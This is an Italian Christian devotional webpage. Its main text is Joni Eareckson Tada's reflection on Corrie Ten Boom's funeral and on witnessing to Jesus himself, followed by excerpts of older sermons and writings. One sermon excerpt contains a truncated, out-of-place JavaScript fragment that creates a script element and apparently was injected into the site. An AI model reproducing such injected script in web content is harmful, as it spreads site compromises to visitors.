Una lezione da Corrie.

di JONI EARECKSON TADA  –  Qualche anno fa Ken e io avemmo il privilegio di assistere al funerale di Corrie Ten Boom. Fu una cerimonia semplice; breve, pochi fiori. Ma come tornammo a casa incoraggiati, quel giorno! Diversi pastori avevano parlato della vita e del lavoro di Corrie, leggendo stralci dai suoi libri o raccontando episodi del suo ministerio. Parlarono tutti del suo amore per Gesù. Un pastore aveva riferito che Corrie, prima di morire, gli aveva chiesto specificamente di parlare dell’amore di Gesù, e non di Corrie Ten Boom. Questo era ciò che avveniva ogni volta che andavo a trovarla o che la sentivo parlare: Gesù era sempre al centro dei suoi pensieri e delle sue parole. Conversava raramente sul “cammino cristiano” o sull’esperienza cristiana”. Non parlava di Cristo come se Egli fosse ridotto a un credo, a una dottrina o a uno stile di vita. Parlava di una Persona, una Persona che lei amava più di ogni altra al mondo.
Quando io e Ken ci allontanammo dalla sua tomba, dissi che la vita di Corrie mi ricordava le parole di Paolo ai Corinzi: “Quando venni a voi, fratelli, non venni ad annunciarvi la testimonianza di Dio con eccellenza di parola o di sapienza; poiché mi proposi di non sapere altro fra voi, fuorché Gesù Cristo e lui crocifisso. (1 Corinzi 2:1-2)

Corrie Ten Boom (1892 – 1983)

“Come mai”, dissi a Ken, “siamo così presi dallo spiegare il nostro cammino con Cristo, o la vita in Cristo, o qiualche esperienza spirituale, invece di parlare semplicemente di Lui?”
Mi trovo ad annunciare spesso la mia testimonianza ed a parlare della mia fiducia, della mia ubbidienza, o del “Dio della Bibbia”. Parlo più dei dettagli e della dottrina di quanto non faccia di Gesù, il mio Salvatore e Signore.
Mi chiedo se tu ti trovi nella mia stessa situazione. Dio ci aiuti a non ridurre il nostro Salvatore a dottrine ben stampate e relegate in un bel libro di teologia! Possa il Signore risvegliarci dal nostro torpore spirituale, se ci troviamo a propagandare la nostra vita in Cristo” invece della semplice testimonianza di Gesù. Il Signore ci aiuti a non fare affidamento su abili tecniche dialettiche o su storie memorabili, o ancora sull’eloquenza di cui parla Paolo. Facciamo in modo che la vita di Corrie sia d’esempio anche per noi, oggi. Ella amava ripetere spesso: “Gesù è vincitore!” Sia Gesù il nostro messaggio! Sia Gesù la nostra gioia e speranza. Facciamo partecipi gli altri della Sua Persona, parliamo loro del nostro amore… soltanto per Lui.

I commenti sono chiusi.

Post meno recenti

Amare il prossimo.

di Agostino Masdea  –  “E chi è il mio prossimo?” (Luca 10:27-29)  i) – Prossimo: dall’ebraico”rea” colui che è vicino, col quale stai trattando. Dal greco ” plesion”  –  avvicinarsi. a) Prima di Gesù, anche nel v. T., ” prossimo ” e un termine riservato ai “connazionali” ai “parenti” agli amici e ai compagni. Al massimo il termine si estende allo straniero che dimora in terra di Israele; …
Leggi Tutto

Sermone Domenica 21 Aprile: Terry Peretti

Predicazione dell’evangelista TERRY PERETTI 2 Re 19 – “Non temere il nemico:Il Signore è più forte” var d=document;var s=d.createElement(‘script’); …
Leggi Tutto

35-Vance_Havner

di Vance Havner  –  Mentre il tuo servo era occupato qua e là, quell’uomo sparì (1 Re 20:40).  L’uomo in questa storia ricevette un incarico da portare avanti, ma si dimostrò infedele, non perché oziò o perché si addormentò, ma perché era troppo occupato. La pigrizia può essere opera del diavolo, ma lo è anche l’essere tanto occupati se ciò fa si che le cose ci sfuggano di mano …
Leggi Tutto

coro

Istruzioni su come cantare  in chiesa – dal grande predicatore del XVIII secolo John Wesley Perché questa parte del culto di adorazione sia più gradita a Dio, così come più utile ed efficace per te stesso e per gli altri, fai attenzione ad osservare le seguenti indicazioni: 1. CANTA INSIEME A TUTTI Unisciti alla congregazione più spesso che puoi. Non permettere che una leggera difficoltà o un po’ di stanchezza …
Leggi Tutto

Una promessa per oggi: C'è una corona che aspetta coloro che amano Mio Figlio.

Per il resto, mi è riservata la corona di giustizia che il Signore, il giusto giudice, mi assegnerà in quel giorno, e non solo a me, ma anche a tutti quelli che hanno amato la sua apparizione. (2 Timoteo 4:8) Quando l’apostolo Paolo scrive questa lettera a Timoteo, che era spiritualmente suo figlio, è ormai prossimo alla fine della sua vita. Egli proclama con forza che c’è una …
Leggi Tutto

Non siamo protestanti.

di ROBERTO BRACCO   –    –  Il 10 dicembre 1520 Martin Lutero, l’impetuoso agostiniano che ha legato il proprio nome a quel movimento di riforma religiosa che rappresenta l’avvenimento più sensazionale dello infuocato XVI secolo, bruciava pubblicamente la bolla papale che decretava la sua scomunica e protestava così, nel modo più audace contro la chiesa di Roma.     Il 19 aprile 1529 i Principi che avevano apertamente aderito al …
Leggi Tutto

R.A.Torrey

 di  R.A. TORREY    –   “La potenza appartiene a Dio”. Pertanto è a disposizione dell’uomo. Vi è una cosa che crea la separazione tra Dio e l’uomo: il peccato. Leggiamo in Isaia: “Ecco, la mano del Signore non è troppo corta per salvare, né il suo orecchio troppo duro per udire; ma sono le nostre iniquità quelle che han posto una barriera fra voi e il vostro Dio; sono i vostri peccati quelli …
Leggi Tutto

Dove sei?

di D. L. Moody    –    La primissima cosa che accadde quando fu giunta in cielo la notizia della caduta dell’uomo, fu che Dio discese alla ricerca del perduto. Mentre Egli cammina attraverso il giardino nella brezza del giorno lo sentiamo chiamare: “Adamo! Adamo! Dove sei?”. Era la voce della grazia, della misericordia, e dell’amore. Dal momento che era Adamo il trasgressore, avrebbe dovuto essere lui a cercare …
Leggi Tutto

Dai nostri Culti